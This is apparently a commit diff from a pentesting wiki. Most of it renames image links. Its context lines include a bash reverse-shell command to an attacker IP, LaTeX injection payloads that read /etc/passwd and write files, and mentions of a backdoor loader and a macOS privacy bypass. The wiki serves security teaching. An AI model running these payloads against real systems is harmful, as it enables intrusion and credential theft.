GITBOOK-3981: change request with no subject merged in GitBook
Before Width: | Height: | Size: 160 KiB |
BIN
.gitbook/assets/image (2) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 94 KiB |
Before Width: | Height: | Size: 94 KiB After Width: | Height: | Size: 148 KiB |
Before Width: | Height: | Size: 148 KiB After Width: | Height: | Size: 199 KiB |
Before Width: | Height: | Size: 199 KiB After Width: | Height: | Size: 172 KiB |
Before Width: | Height: | Size: 172 KiB After Width: | Height: | Size: 160 KiB |
|
@ -99,7 +99,7 @@ Open the SalseoLoader project using Visual Studio.
|
|||
|
||||
### Add before the main function: \[DllExport]
|
||||
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1).png>)
|
||||
|
||||
### Install DllExport for this project
|
||||
|
||||
|
|
|
@ -22,7 +22,7 @@ Obviously, this is so powerful, it's complicated to load a kernel extension. The
|
|||
|
||||
* Going into **recovery mode** Kexts need to be **allowed to be loaded**:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* The Kext must be **signed with a kernel code signing certificate**, which can only be granted by **Apple**. Who will be **reviewing** in detail the **company** and the **reasons** why this is needed.
|
||||
* The Kext also needs to be **notarized**, Apple will be able to check it for malware.
|
||||
|
|
|
@ -14,7 +14,7 @@
|
|||
|
||||
## Sandbox loading process
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (2).png" alt=""><figcaption><p>Image from <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption><p>Image from <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>
|
||||
|
||||
In the previous image it's possible to observe **how the sandbox will be loaded** when an application with the entitlement **`com.apple.security.app-sandbox`** is run.
|
||||
|
||||
|
|
|
@ -378,7 +378,7 @@ $> ls ~/Documents
|
|||
|
||||
Notes had access to TCC protected locations but when a note is created this is **created in a non-protected location**. So, you could ask notes to copy a protected file in a noe (so in a non-protected location) and then access the file:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (15).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### CVE-2023-26818 - Telegram
|
||||
|
||||
|
|
|
@ -35,7 +35,7 @@ exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
|
|||
|
||||
* Configure WebHook script:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* Save changes
|
||||
* Get the generated WebHook URL:
|
||||
|
|
|
@ -156,7 +156,7 @@ However, there are other ways to execute commands, so to avoid RCE it's very imp
|
|||
#### Read single lined file
|
||||
|
||||
```bash
|
||||
ewread\file
|
||||
\newread\file
|
||||
\openin\file=/etc/issue
|
||||
\read\file to\line
|
||||
\text{\line}
|
||||
|
@ -166,7 +166,7 @@ ewread\file
|
|||
#### Read multiple lined file
|
||||
|
||||
```bash
|
||||
ewread\file
|
||||
\newread\file
|
||||
\openin\file=/etc/passwd
|
||||
\loop\unless\ifeof\file
|
||||
\read\file to\fileline
|
||||
|
@ -178,7 +178,7 @@ ewread\file
|
|||
### Write file <a href="#write-file" id="write-file"></a>
|
||||
|
||||
```bash
|
||||
ewwrite\outfile
|
||||
\newwrite\outfile
|
||||
\openout\outfile=cmd.tex
|
||||
\write\outfile{Hello-world}
|
||||
\closeout\outfile
|
||||
|
|